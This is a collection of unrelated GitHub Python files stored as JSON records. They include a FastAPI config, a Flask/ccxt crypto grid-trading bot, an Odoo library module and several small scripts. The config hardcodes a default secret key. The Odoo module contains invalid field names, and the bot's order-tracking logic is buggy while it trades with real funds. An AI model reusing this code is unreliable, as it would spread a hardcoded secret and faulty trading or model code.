1:\r\n print('this should not happen...')\r\n if len(index_3) == 1:\r\n polygon_record.GeoDARv11_ID = unique_intersected_lake_UID_joint_GeoDAR_ID[index_3[0]]\r\n polygon_record.GeoDARv11_ID_QC = unique_intersected_lake_UID_joint_GeoDAR_ID[index_3[0]]\r\n polygon_record.intGeoDAR_count = unique_intersected_lake_UID_joint_count[index_3[0]]\r\n polygon_record.intGeoDAR_arearatio = unique_intersected_lake_UID_arearatio[index_3[0]]\r\n \r\n polygon_records.updateRow(polygon_record)\r\ndel polygon_record # Release the cursor\r\ndel polygon_records\r\n \r\nprint(\"----- Module Completed -----\")\r\nprint(datetime.datetime.now())\r\n","repo_name":"surf-hydro/dams-into-SWOT-PLD","sub_path":"Step4_GeoDAR_to_PLD.py","file_name":"Step4_GeoDAR_to_PLD.py","file_ext":"py","file_size_in_byte":10461,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28613203686","text":"def answer(x):\r\n if x == 0:\r\n return 'INSOMNIA'\r\n else:\r\n seen_numbers = [0] * 10\r\n num_numbers = 0\r\n result = 1\r\n while num_numbers != 10:\r\n for number in str(x * result):\r\n if seen_numbers[int(number)] == 0:\r\n num_numbers += 1\r\n seen_numbers[int(number)] = 1\r\n result += 1\r\n return str(x * (result - 1))\r\n\r\nfin = open('A-large.in', 'r')\r\nfout = open('output.txt', 'w')\r\n\r\nt = int(fin.readline())\r\nfor i in range(t):\r\n print('Case #' + str(i + 1) + ': ' + answer(int(fin.readline())))\r\n \r\nfout.close()\r\n ","repo_name":"DaHuO/Supergraph","sub_path":"codes/CodeJamCrawler/16_0_1/Lonelypacifist/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"45490688784","text":"#Calculating kilometers to miles\n\nkilo = float(input('Enter the kilometer: '))\n\nconv_factor = 0.621371\n\n#Calculate miles\nmiles = kilo * conv_factor\n\nprint('%0.2f kilometers is equal to %0.2f miles\\n'%(kilo, miles))\n\n#Taking input from user\nmiles = float(input('Enter the miles: '))\n\n#Converting miles to kilometers\nkilometers = miles / conv_factor\n\nprint('%0.2f miles is equal to %0.2f kilometers'%(miles, kilometers))\n\n\n\n","repo_name":"puneeth-techie/python-example","sub_path":"kilo_miles_To_miles_kilo.py","file_name":"kilo_miles_To_miles_kilo.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35803928773","text":"from ting_file_management.file_management import txt_importer\nimport sys\n\n\ndef format_dict(path_file, file_length, file_lines):\n return {\n \"nome_do_arquivo\": path_file,\n \"qtd_linhas\": file_length,\n \"linhas_do_arquivo\": file_lines\n }\n\n\ndef process(path_file, instance):\n file_lines = txt_importer(path_file)\n # file_name = path_file.split(\"/\")[-1]\n\n if path_file not in instance.search(None):\n instance.enqueue(path_file)\n\n file_data = format_dict(path_file, len(file_lines), file_lines)\n\n return print(file_data)\n\n\ndef remove(instance):\n path_file = instance.dequeue()\n\n if path_file is None:\n return print(\"Não há elementos\")\n else:\n return print(f\"Arquivo {path_file} removido com sucesso\")\n\n\ndef file_metadata(instance, position):\n try:\n path_file = instance.search(position)\n file_lines = txt_importer(path_file)\n\n file_data = format_dict(path_file, len(file_lines), file_lines)\n\n return print(file_data)\n except IndexError:\n return print(\"Posição inválida\", file=sys.stderr)\n","repo_name":"EnioSchaefer/project-py-algorithms-ting","sub_path":"ting_file_management/file_process.py","file_name":"file_process.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21233565293","text":"from starlette.config import Config\nfrom requests.structures import CaseInsensitiveDict\n\nconfig = Config('.env')\n\nDATABASE_URL = config('DB_URL', cast=str, default='')\nACCESS_TOKEN_EXPIRE_TIME = 60\nALGORITHM= 'HS256'\nSECRET_KEY = config('SECRET_KEY', cast=str, default='8324dce24672285457bfa42c007651ad')\nFACEIT_API_KEY = config('FACEIT_API_KEY', cast=str, default='')\nheaders = CaseInsensitiveDict()\nheaders[\"accept\"] = \"application/json\"\nheaders[\"Authorization\"] = f\"Bearer {FACEIT_API_KEY}\"","repo_name":"xorwise/cs-demo-analyzer","sub_path":"server/core/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38495900618","text":"# Created by Aidityas Adhakim\n# This code is not fully mine\n# You can watch the explanation of the main algorithm in the link below\n# https://youtu.be/QzqMGX4Qk1A\n\nfrom flask import Flask, render_template, request\nimport ccxt, config, sys, time, threading\n\n# This will contain all the detail for the grid lines bar\nBAR_DETAIL = {\n 'symbol':\"\",\n 'high_bar':0,\n 'low_bar':0,\n 'total_grid':0,\n 'grid_size':0,\n 'min_notional':0,\n 'notional':0,\n 'amount':0\n }\n\n# This will contain the grid lines detail\nGRID_LINES = {}\n\n# This will contain the order id, so that we can track an open order\nbuy_orders = []\nsell_orders = []\n\napp = Flask(__name__)\n\n# You can change the exchanges to whatever you want\nexchange = ccxt.binance({\n \"apiKey\": config.API_KEY,\n \"secret\": config.API_SECURITY\n})\n\n# Track the start price and the last buy order or the bottom price of the bar\nSTART_PRICES = 0\nLAST_PRICES = 0\n\n# Index page where you can choose what coin to trade\n# Also to input the total bar\n# And you can also put the price boundary\n@app.route('/')\ndef index():\n get_Balances = exchange.fetchBalance()\n balances_Info = get_Balances['info']['balances']\n len_balances = len(balances_Info)\n return render_template('index.html', balances_Info = balances_Info, len_balances = len_balances)\n\n# This page will show you all the information you have input\n# and also shows the size of each bar\n# It also show the percentage profit of each bar\n@app.route('/start', methods=['POST'])\ndef start():\n global BAR_DETAIL\n\n # Fill the bar detail information based on the data sent\n BAR_DETAIL['symbol'] = request.form['symbol']\n BAR_DETAIL['high_bar'] = float(request.form['high_bar'])\n BAR_DETAIL['low_bar'] = float(request.form['low_bar'])\n BAR_DETAIL['total_grid'] = float(request.form['grid'])\n\n # Getting price data to get the percentage rise in every bar to avoid loss from fee\n price = exchange.fetch_ticker(BAR_DETAIL['symbol'])\n price = float(price['bid'])\n\n # Counting the percentage distance from each bar\n difference = BAR_DETAIL['high_bar'] -BAR_DETAIL['low_bar']\n BAR_DETAIL['grid_size'] = (difference / BAR_DETAIL['total_grid'])\n percentage_size = BAR_DETAIL['grid_size'] / price \n\n # The fee for binance is 0.05%\n # so if the percentage profit is below that than you will gain no profit\n # this will show up to alert you, if your percentage profit is negative\n message = False\n if(percentage_size < 0.0005):\n message = True\n print(message)\n\n # This is for the minimum notional for each trade/bar\n # note that in Binance the min notional is $10\n # so if you wanted to have 10 grid you need min notional of $100\n BAR_DETAIL['min_notional'] = BAR_DETAIL['total_grid']*10\n\n return render_template('start.html', bar_detail = BAR_DETAIL, message=message, percentage=round(percentage_size,4))\n\ndef get_grid_lines():\n global BAR_DETAIL\n global GRID_LINES\n\n # Get the difference price from the highest bar to the lowest bar\n DIFFERENCE = BAR_DETAIL['high_bar'] - BAR_DETAIL['low_bar']\n\n # Get Total Sell Bar, taking it from the position of the current price by percentage\n # Getting the current price\n current_price = exchange.fetch_ticker(BAR_DETAIL['symbol'])\n current_price = float(current_price['bid'])\n\n # Getting the distance from current price to high bar\n CURRENT_PRICE_DISTANCE = ((current_price - BAR_DETAIL['low_bar']) / DIFFERENCE * 100)\n\n # Getting the total sell bar from its current position\n NUM_SELL_GRID = (((100 - CURRENT_PRICE_DISTANCE) / 100) * BAR_DETAIL['total_grid'] )\n NUM_SELL_GRID = int(NUM_SELL_GRID)\n\n # Getting the total buy bar from its current position\n NUM_BUY_GRID = int(((CURRENT_PRICE_DISTANCE/100) * BAR_DETAIL['total_grid']))\n\n GRID_LINES = {\n \"num_sell\":NUM_SELL_GRID,\n \"num_buy\":NUM_BUY_GRID\n }\n\ndef initial_buy(notional):\n global BAR_DETAIL\n global GRID_LINES\n global START_PRICES\n global LAST_PRICES\n\n # Getting the notional that will be traded\n BAR_DETAIL['notional'] = float(notional)\n\n # Getting the start prices\n ticker = exchange.fetch_ticker(BAR_DETAIL['symbol'])\n START_PRICES = ticker['bid']\n\n # Get Total Amount for each grid\n AMOUNT_GRID = BAR_DETAIL['notional'] / (BAR_DETAIL['total_grid'] - 1)\n BAR_DETAIL['amount'] = AMOUNT_GRID / START_PRICES\n # BAR_DETAIL['grid_size'] = BAR_DETAIL['grid_size'] / 100\n\n # Create market order specified to the number of total sell grid lines\n initial_buy_orders = exchange.create_market_buy_order(BAR_DETAIL['symbol'], BAR_DETAIL['amount'] * (GRID_LINES['num_sell']))\n print(initial_buy_orders)\n\n # This will create a limit buy order based on the total of buy grid lines\n # Note that every bar is decremental by the grid size\n for i in range(GRID_LINES['num_buy']):\n price = ticker['bid'] - (BAR_DETAIL['grid_size'] * (i+1))\n print(\"Submitting limit buy order at {}\".format(price))\n order = exchange.create_limit_buy_order(BAR_DETAIL['symbol'],BAR_DETAIL['amount'],price)\n buy_orders.append(order['info'])\n last_order = exchange.fetchOrder(buy_orders[-1]['orderId'],BAR_DETAIL['symbol'])\n LAST_PRICES = last_order['price']\n\n # This will create a limit sell order based on the total of sell grid lines\n # Note that every bar is incremental by the grid size\n for i in range(GRID_LINES['num_sell']):\n price = ticker['bid'] + (BAR_DETAIL['grid_size'] * (i+1))\n print(\"Submitting limit sell order at {}\".format(price))\n order = exchange.create_limit_sell_order(BAR_DETAIL['symbol'],BAR_DETAIL['amount'],price)\n sell_orders.append(order['info'])\n\n\n\n@app.route('/run', methods=['POST'])\ndef run():\n global BAR_DETAIL\n global GRID_LINES\n\n\n # Taking the FORM Detail, so the page is accessable even if the owner already close it\n FORM_DETAIL = {}\n FORM_DETAIL['symbol'] = request.form['symbol']\n FORM_DETAIL['high_bar'] = float(request.form['high_bar'])\n FORM_DETAIL['low_bar'] = float(request.form['low_bar'])\n FORM_DETAIL['total_grid'] = float(request.form['total_grid'])\n FORM_DETAIL['min_notional'] = float(FORM_DETAIL['total_grid'])*2\n\n # Calculate the difference from highest bar to lowest bar\n difference = FORM_DETAIL['high_bar'] - FORM_DETAIL['low_bar']\n\n FORM_DETAIL['grid_size'] = difference / FORM_DETAIL['total_grid']\n\n\n # Get the Number of Total Grid Lines\n get_grid_lines()\n\n # Making Initial Buy\n initial_buy(request.form['notional'])\n\n # Running a multithread\n # This will run an Infinite Loop where the infinite loop will keep checking the order\n # Check the detail on while_function function\n first_thread = threading.Thread(target=while_function)\n first_thread.start()\n \n return render_template(\n 'running.html', \n bar_detail = FORM_DETAIL,\n notional = request.form['notional'],\n grid_lines = GRID_LINES,\n amount = BAR_DETAIL['amount']\n )\n\ndef while_function():\n # Submitting the global variable\n global buy_orders \n global sell_orders\n global BAR_DETAIL\n global GRID_LINES\n global START_PRICES\n global LAST_PRICES\n\n # Start To Run the grid trading strategy\n while True:\n # Get the pair data and tracking price movement\n get_data = exchange.fetch_ticker(BAR_DETAIL['symbol'])\n price_tracker = float(get_data['bid'])\n\n # tracking the closed order\n closed_order_ids = []\n \n # Tracking the buy order\n for buy_order in buy_orders:\n print(\"Checking buy orderr {}\".format(buy_order['orderId']))\n\n # Getting the buy order by id\n try:\n order = exchange.fetchOrder(buy_order['orderId'],BAR_DETAIL['symbol'])\n except Exception as e:\n print(\"request failed, retrying\")\n continue\n \n order_info = order['info']\n\n # If the buy order is closed than a new sell order will be created\n if order_info['status'] == config.CLOSED_ORDER_STATUS:\n # Appending the closed order to closed_order_ids\n closed_order_ids.append(order_info['orderId'])\n\n # Creating a new sell order\n print(\"buy order executed at {}\".format(order_info['price']))\n new_sell_price = float(order_info['price']) + BAR_DETAIL['grid_size']\n print(\"create a new sell order at {}\".format(new_sell_price))\n new_sell_order = exchange.create_limit_sell_order(BAR_DETAIL['symbol'], BAR_DETAIL['amount'], new_sell_price)\n sell_orders.append(new_sell_order['info'])\n \n time.sleep(config.CHECK_ORDERS_FREQUENCY)\n\n for sell_order in sell_orders:\n print(\"Checking sell order {}\".format(sell_order['orderId']))\n\n # Checking the sell order by id\n try:\n order = exchange.fetchOrder(sell_order['orderId'],BAR_DETAIL['symbol'])\n except Exception as e:\n print(\"request failed, retrying\")\n continue\n \n order_info = order['info']\n\n # If the buy order is closed than a new sell order will be created\n if order_info['status'] == config.CLOSED_ORDER_STATUS:\n # Append the closed order to closed_order_ids list\n closed_order_ids.append(order_info['orderId'])\n\n # Creating a new sell order\n print(\"sell order executed at {}\".format(order_info['price']))\n new_buy_price = float(order_info['price']) - BAR_DETAIL['grid_size']\n print(\"create a new buy order at {}\".format(new_buy_price))\n new_buy_order = exchange.create_limit_buy_order(BAR_DETAIL['symbol'], BAR_DETAIL['amount'], new_buy_price)\n buy_orders.append(new_buy_order['info'])\n \n time.sleep(config.CHECK_ORDERS_FREQUENCY)\n \n # This will check for every order than has been closed\n # And later it will remove it from the main order list\n # Then later the system will not check for the closed order anymore\n for order_id in closed_order_ids:\n buy_orders = [buy_orders for buy_order in buy_orders if buy_order['orderId'] != order_id]\n sell_orders = [sell_orders for sell_order in sell_orders if sell_order['orderId'] != order_id]\n\n # This will get the real time price data\n # And if the price go below the stop loss\n # The bot will automatically close all order and keep selling the coin until no more left\n if(price_tracker < (LAST_PRICES * config.STOP_LOSS)):\n print(\"Price Hitting The Stop Loss..\")\n print(\"Cancelling All Order\")\n exchange.cancel_all_orders(BAR_DETAIL['symbol'])\n print(\"Keep Selling Until No More Free Asset Left\")\n while True:\n try:\n exchange.create_market_sell_order(BAR_DETAIL['symbol'],BAR_DETAIL['amount']*5)\n except Exception as e:\n print(\"You hit the stop loss, all the asset has been sold!\")\n sys.exit(\"Bot Stopped\")\n\n# This will run the app\ndef run_app():\n app.run(debug=False, threaded=True)\n\n# This will start the app\nif __name__ == \"__main__\":\n first_thread = threading.Thread(target=run_app)\n first_thread.start()","repo_name":"aidityasadhakim/grid-bot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23306473908","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 29 13:16:45 2020\n\n@author: shiha\n\"\"\"\nimport itertools\nimport math\n\ndef get_gear_set_ratio(A,N,ratio=40):\n return (A-N)*(ratio/A)\n\ndef find_gear_set(gear_ratio, gear_set):\n all_perm = itertools.permutations(gear_set, 2)\n result=[]\n for gear_pair in all_perm:\n spindle, worm= gear_pair\n if math.isclose(gear_ratio, spindle/worm):\n result.append((spindle, worm))\n \n return result\n \ndef main():\n gear_set= [24, 28, 32, 40, 44, 48, 56, 64, 72, 86]\n r= get_gear_set_ratio(56, 57)\n results = find_gear_set(abs(r), gear_set)\n \n for result in results:\n print(\"Spindle {} -- Worm {}\".format(result[0], result[1]))\n \nif __name__ == \"__main__\":\n main()","repo_name":"Shihabus-Sakib-Rad/Dividing-Head-Calculator","sub_path":"src/differential.py","file_name":"differential.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6128639635","text":"\"\"\"\nThis module contains everything needed to calculate some basic, higher-level\nstats for a sub-Reddit.\n\"\"\"\nimport datetime\n\nfrom techsubs.metrics.metric_defines import SubRedditSubscribers, \\\n SubRedditAccountsActive\nfrom techsubs.sr_scanner.common import get_subreddit_about_dict, \\\n get_subreddit_metric_labels\n\n\ndef calc_and_send_basic_subreddit_stats(subreddit_name):\n \"\"\"\n Calculates and sends some basic stats that we can pull from a sub-Reddit's\n about.json. Unlike :py:func:`calc_and_send_subreddit_post_stats`, this\n reports for the current hour.\n\n :param subreddit_name: The sub-Reddit to report basic stats for.\n \"\"\"\n # We can fetch /r/srname/about.json once, then extract a few metrics.\n sr_about = get_subreddit_about_dict(subreddit_name)\n sub_count, accounts_active = _calc_basic_subreddit_stats(sr_about)\n\n metric_labels = get_subreddit_metric_labels(subreddit_name)\n # time_override is specified so that we can't double-report an hour.\n hour_floor = datetime.datetime.now().replace(minute=0, second=0, microsecond=0)\n SubRedditSubscribers.write_gauge(\n sub_count, labels=metric_labels, time_override=hour_floor)\n SubRedditAccountsActive.write_gauge(\n accounts_active, labels=metric_labels, time_override=hour_floor)\n\n\ndef _calc_basic_subreddit_stats(sr_about):\n \"\"\"\n :param dict sr_about: An unmarshalled sub-Reddit about.json 'data' dict.\n :rtype: tuple\n :returns: Tuple in the form of: sub_count, accounts_active\n \"\"\"\n sub_count = int(sr_about['subscribers'])\n accounts_active = int(sr_about['accounts_active'])\n return sub_count, accounts_active\n","repo_name":"gtaylor/techsubreddits","sub_path":"techsubs/sr_scanner/basic_stats.py","file_name":"basic_stats.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"129326310","text":"from unicodedata import digit\nfrom odoo import models, fields, api\nfrom odoo.exceptions import ValidationError\nfrom datetime import timedelta\n\n\nclass LibraryBook (models.Model):\n _name = 'library.book'\n _inherit = ['base.archive']\n _description = 'Library Book'\n _order = 'date_release desc, name'\n _rec_name = 'short_name' \n\n short_name = fields.Char('Short Title', translate=True, index=True)\n name = fields.Char('Title', required= True)\n author_ids = fields.Many2Many(\n 'res.partner',\n string='Authors'\n )\n notes = fields.Text('Internal Notes')\n state = fields.Seletion(\n [('draft', 'Not Vailable'),\n ('available', 'Available'),\n ('lost', 'Lost')],\n 'State')\n description = fields.Html('Description',sanitize=True, strip_style=False )\n cover = fields.Binary('Book Cover')\n out_of_print = fields.Boolean('Out of Print?')\n date_release = fields.Date('Release Date')\n date_updated = fields.Datetime('Last Updated')\n pages = fields.Integer('Number of Pages',\n groups='base.group_user',states={'lost': [('readonly', True)]},\n help='Total book page count', company_dependent=False)\n reader_rating = fields.Float(\n 'Reading Average Rating',\n digits = (14,4),\n )\n cost_price = fields.Float('Book Cost', digit='Book Price')\n currency_id = fields.Many2one('res.currency', string='Currency')\n retail_price = fields.Monetary('Retail Price', # optional: currency_field='currency_id',\n )\n publisher_id = fields.Many2one( \n 'res.partner', string='Publisher', \n # optional: \n ondelete='set null', \n context={}, \n domain=[], \n )\n publisher_city = fields.Char( \n 'Publisher City', \n related='publisher_id.city',\n readonly=True)\n\n category_id = fields.Many2one('library.book.category')\n\n _sql_constraints = [ \n ('name_uniq', 'UNIQUE (name)', \n 'Book title must be unique.'),\n ('positive_page', 'CHECK(pages>0)', \n 'No of pages must be positive') \n ]\n\n age_days = fields.Float( \n string='Days Since Release', \n compute='_compute_age', \n inverse='_inverse_age', \n search='_search_age', \n store=False, # optional\n compute_sudo=True # optional \n )\n ref_doc_id = fields.Reference( \n selection='_referencable_models', \n string='Reference Document')\n\n\n @api.constrains('date_release') \n def _check_release_date(self):\n for record in self:\n if record.date_release and record.date_release > fields.Date.today():\n raise models.ValidationError('Release date must be in the past') \n\n @api.depends('date_release')\n def _compute_age(self):\n today = fields.Date.today()\n for book in self:\n if book.date_release:\n delta = today - book.date_release\n book.age_days = delta.days\n else:\n book.age_days = 0\n\n @api.depends('date_release')\n def _inverse_age(self):\n today = fields.Date.today()\n for book in self.filtered('date_release'):\n d = today - timedelta(days=book.age_days)\n book.date_release = d\n\n def _search_age(self, operator, value):\n today = fields.Date.today()\n value_days = timedelta(days=value)\n value_date = today - value_days\n # convert the operator:\n # book with age > value have a date < value_date\n operator_map = {\n '>': '<', '>=': '<=',\n '<': '>', '<=': '>=',\n }\n new_op = operator_map.get(operator, operator)\n return [('date_release', new_op, value_date)] \n\n @api.model \n def _referencable_models(self):\n models = self.env['ir.model'].search([('field_id.name', '=', 'message_ids')])\n return [(x.model, x.name) for x in models]\n\n\n\n\n\nclass ResPartner(models.Model): \n _inherit = 'res.partner' \n published_book_ids = fields.One2many( 'library.book', 'publisher_id', string='Published Books')\n authored_book_ids = fields.Many2many('library.book', string='Authored Books', # relation='library_book_res_partner_rel' # optional\n )\n count_books = fields.Integer( 'Number of Authored Books', compute='_compute_count_books') \n\n @api.depends('authored_book_ids') \n def _compute_count_books(self): \n for r in self: \n r.count_books = len(r.authored_book_ids) \n\n\n\nclass LibraryMember(models.Model): \n _name = 'library.member' \n _inherits = {'res.partner': 'partner_id'} \n partner_id = fields.Many2one( 'res.partner', ondelete='cascade', delegate=True)\n date_start = fields.Date('Member Since') \n date_end = fields.Date('Termination Date') \n member_number = fields.Char() \n date_of_birth = fields.Date('Date of birth')\n\n\nclass BaseArchive(models.AbstractModel): \n _name = 'base.archive' \n active = fields.Boolean(default=True)\n\n def do_archive(self): \n for record in self: \n record.active = not record.active\n","repo_name":"vannt010391/my-module","sub_path":"models/library_book.py","file_name":"library_book.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"30850737770","text":"ENTITIES = {}\ndef register_entity(name):\n \"\"\"Allow an entity's modifier to be registered for use.\"\"\"\n def wrap(function):\n ENTITIES[name] = function\n return function\n return wrap\n\n\ndef entity(name, result=None):\n ent = ENTITIES[name]\n if callable(ent):\n ent = ent()\n ENTITIES[name] = ent\n return ent or {\"value\": {}}\n\n\n@register_entity(\"Function\")\n@register_entity(\"eval\")\ndef csp_warning_function():\n def call_wrap(*args, **kwargs):\n traverser = kwargs.get(\"traverser\") or args[-1]\n from appvalidator.csp import warn\n warn(err=traverser.err,\n filename=traverser.filename,\n line=traverser.line,\n column=traverser.position,\n context=traverser.context,\n violation_type=\"script\")\n\n return {\n \"new\": call_wrap,\n \"return\": call_wrap,\n }\n\n\n@register_entity(\"setTimeout\")\n@register_entity(\"setInterval\")\ndef csp_warning_timeout():\n def wrap(wrapper, arguments, traverser):\n if arguments and not arguments[0].callable:\n from appvalidator.csp import warn\n warn(err=traverser.err,\n filename=traverser.filename,\n line=traverser.line,\n column=traverser.position,\n context=traverser.context,\n violation_type=\"set*\")\n\n return {\"return\": wrap}\n\n\nGUM_FEATURES = {\n \"video\": \"CAMERA\",\n \"picture\": \"CAMERA\",\n \"audio\": \"MIC\",\n}\n\n@register_entity(\"getUserMedia\")\ndef getUserMedia():\n def method(wrapper, arguments, traverser):\n if not arguments:\n return False\n options = arguments[0]\n for feature in GUM_FEATURES:\n if (options.has_var(feature) and\n options.get(traverser, feature).get_literal_value(traverser)):\n traverser.log_feature(GUM_FEATURES[feature])\n\n if (options.has_var(\"video\") and\n options.get(traverser, \"video\").has_var(\"mandatory\") and\n options.get(traverser, \"video\").get(traverser, \"mandatory\") and\n options.get(traverser, \"video\").get(traverser, \"mandatory\"\n ).get(traverser, \"chromeMediaSource\"\n ).get_literal_value(traverser) == \"screen\"):\n traverser.log_feature(\"SCREEN_CAPTURE\")\n\n return {\"return\": method}\n\n\n@register_entity(\"XMLHttpRequest\")\ndef XMLHttpRequest():\n def return_(wrapper, arguments, traverser):\n if (arguments and len(arguments) >= 3 and\n not arguments[2].get_literal_value(traverser)):\n traverser.err.warning(\n err_id=(\"javascript\", \"xhr\", \"sync\"),\n warning=\"Synchronous XHR should not be used\",\n description=\"Synchronous HTTP requests can cause serious UI \"\n \"performance problems, especially to users with \"\n \"slow network connections.\",\n filename=traverser.filename,\n line=traverser.line,\n column=traverser.position,\n context=traverser.context)\n return wrapper\n\n def new(node, arguments, traverser):\n if not node[\"arguments\"]: # Ignore XHR without args\n return\n arg = traverser.traverse_node(node[\"arguments\"][0])\n if (arg.has_var(\"mozSystem\") and\n arg.get(traverser, \"mozSystem\").get_literal_value(traverser)):\n traverser.log_feature(\"SYSTEMXHR\")\n\n return {\n \"value\": {u\"open\": {\"return\": return_}},\n \"new\": new,\n }\n","repo_name":"wanmmyjs/app-validator","sub_path":"appvalidator/testcases/javascript/entity_values.py","file_name":"entity_values.py","file_ext":"py","file_size_in_byte":3549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"42802943005","text":"from ModelUtils.ParamFreeVAE.DeepReluIORNN.FourLayersInterAttFrac import DeepReluTransReadWrite as TranslationModel\nimport pickle as cPickle\nimport json\nimport sys\nimport numpy as np\nimport os\n\nsys.setrecursionlimit(5000000)\nnp.set_printoptions(threshold=1000000)\nmain_dir = sys.argv[0]\nout_dir = sys.argv[2]\n\nrestore_param = \"Translations/show/Param/frac03_final_model_params.save\"\ntest_file = \"grouped_news2014.tok.bpe.32000.txt\"\ncheck_prediction = False\n\nif __name__ == '__main__':\n print(\"Start testing io version 4\")\n test_data = None\n model = TranslationModel()\n\n # Load vocabulary\n vocab = []\n with open(\"SentenceData/BPE/vocab.bpe.32000\", \"r\", encoding=\"utf8\") as v:\n for line in v:\n vocab.append(line.strip(\"\\n\"))\n\n with open(restore_param, \"rb\") as params:\n model.set_param_values(cPickle.load(params))\n with open(\"SentenceData/BPE/\" + test_file, \"r\") as dataset:\n test_data = json.loads(dataset.read())\n\n decode = model.decode_fn()\n sour_sen = []\n refe_sen = []\n forc_sen = []\n pred_sen = []\n test_data = np.array(test_data)\n for m in test_data:\n m = sorted(m, key=lambda d: max(len(d[0]), len(d[1])))\n last_data = m[-1]\n l = max(len(last_data[0]), len(last_data[1]))\n source = None\n target = None\n # Pad the input sequence\n for datapoint in m:\n s = np.array(datapoint[0])\n t = np.array(datapoint[1])\n if len(s) != l:\n s = np.append(s, [-1] * (l - len(s)))\n if len(t) != l:\n t = np.append(t, [-1] * (l - len(t)))\n if source is None:\n source = s.reshape((1, s.shape[0]))\n else:\n source = np.concatenate([source, s.reshape((1, s.shape[0]))])\n if target is None:\n target = t.reshape((1, t.shape[0]))\n else:\n target = np.concatenate([target, t.reshape((1, t.shape[0]))])\n\n # Prediction\n [prediction, address, att_score] = decode(source, target)\n np.save(out_dir +\"/\" + str(l) + '_address.npy', address)\n np.save(out_dir + \"/\" + str(l) + '_attention.npy', att_score)\n # Map the index to string\n with open(out_dir + \"/source_\" + str(l) + \".txt\", \"w\") as sour, \\\n open(out_dir + \"/reference_\" + str(l) + \".txt\", \"w\") as refe, \\\n open(out_dir + \"/prediction_\" + str(l) + \".txt\", \"w\") as pred:\n\n for n in range(len(m)):\n s = source[n]\n t = target[n, 1:]\n p = prediction[:, n]\n\n sentence = \"\"\n for s_idx in s:\n if s_idx == 1 or s_idx == -1:\n break\n sentence += (vocab[s_idx] + \" \")\n sour_sen.append(sentence)\n if check_prediction:\n print(sentence)\n\n sour.write(sentence + \"\\n\")\n sentence = \"\"\n for t_idx in t:\n if t_idx == 1 or t_idx == -1:\n break\n sentence += (vocab[t_idx] + \" \")\n refe_sen.append(sentence)\n if check_prediction:\n print(sentence)\n refe.write(sentence + \"\\n\")\n sentence = \"\"\n for idx in p:\n if idx == 1:\n break\n sentence += (vocab[idx] + \" \")\n pred_sen.append(sentence)\n if check_prediction:\n print(sentence)\n pred.write(sentence + \"\\n\")\n with open(out_dir + \"/source.txt\", \"w\") as sour:\n for s in sour_sen:\n sour.write(s + \"\\n\")\n with open(out_dir + \"/reference.txt\", \"w\") as refe:\n for s in refe_sen:\n refe.write(s + \"\\n\")\n with open(out_dir + \"/prediction.txt\", \"w\") as pred:\n for s in pred_sen:\n pred.write(s + \"\\n\")\n","repo_name":"maodayezheng/TranslationReadWrite","sub_path":"translation_test.py","file_name":"translation_test.py","file_ext":"py","file_size_in_byte":3993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40854347284","text":"from chapter_3.datastructs import Stack\n\nMAX_INT = 2**32-1\n\n\nclass MinStack:\n def __init__(self):\n self.stack = Stack()\n\n def pop(self):\n return self.stack.pop()[0]\n\n def min(self):\n if self.stack.isEmpty():\n raise Exception(\"Empty stack has no minimum\")\n\n _, min_elem = self.stack.peek()\n return min_elem\n\n def push(self, elem):\n current_min = self.min() if not self.stack.isEmpty() else MAX_INT\n\n nmin = min(elem, current_min)\n self.stack.push((elem, nmin))\n\n\nif __name__ == \"__main__\":\n min_stack = MinStack()\n for i in range(10):\n min_stack.push(10-i)\n\n print(min_stack)\n for i in range(9):\n print(\n f\"Got from stack elem {min_stack.pop()}, minimum is now {min_stack.min()}\")\n","repo_name":"StBogdan/CTCI_python","sub_path":"chapter_3/p3_2.py","file_name":"p3_2.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":317,"dataset":"github-code","pt":"75"} +{"seq_id":"40969632765","text":"import folium\nimport parser\nfrom geopy import ArcGIS\n\n\ndef user_input():\n \"\"\"\n (none) -> (int, int, int)\n This function provides user interaction\n\n returns: year to show films, amount of films and amount of locations\n \"\"\"\n\n try:\n year = int(input(\"Enter a year to show films on the map: \"))\n assert year in range(1874, 2025), \"Enter correct year\"\n film_amount = int(input(\"Enter a maximum amount of films \"\n \"to show on the map: \"))\n assert film_amount > 0, \"Enter a positive integer\"\n loc_amount = int(input(\"Enter a maximum amount of locations \"\n \"to show: \"))\n assert loc_amount > 0, \"Enter a positive integer\"\n\n except (ValueError, AssertionError) as err:\n print(err)\n exit()\n\n return year, film_amount, loc_amount\n\n\ndef get_coordinates(location):\n \"\"\"\n (str) -> (float, float)\n Function finds coordinates of the specific location\n\n location: name of location to get\n map coordinates\n returns: tuple of latitude and longitude\n \"\"\"\n\n geolocator = ArcGIS(timeout=10)\n locat = geolocator.geocode(location)\n return locat.latitude, locat.longitude\n\n\ndef map_design(diction, f_amount, l_amount):\n \"\"\"\n (dict) -> (None)\n This function builds the entire map and layers\n\n param diction: dictionary with provided data of imbd films\n returns: nothing\n \"\"\"\n\n world_map = folium.Map()\n marks_fg 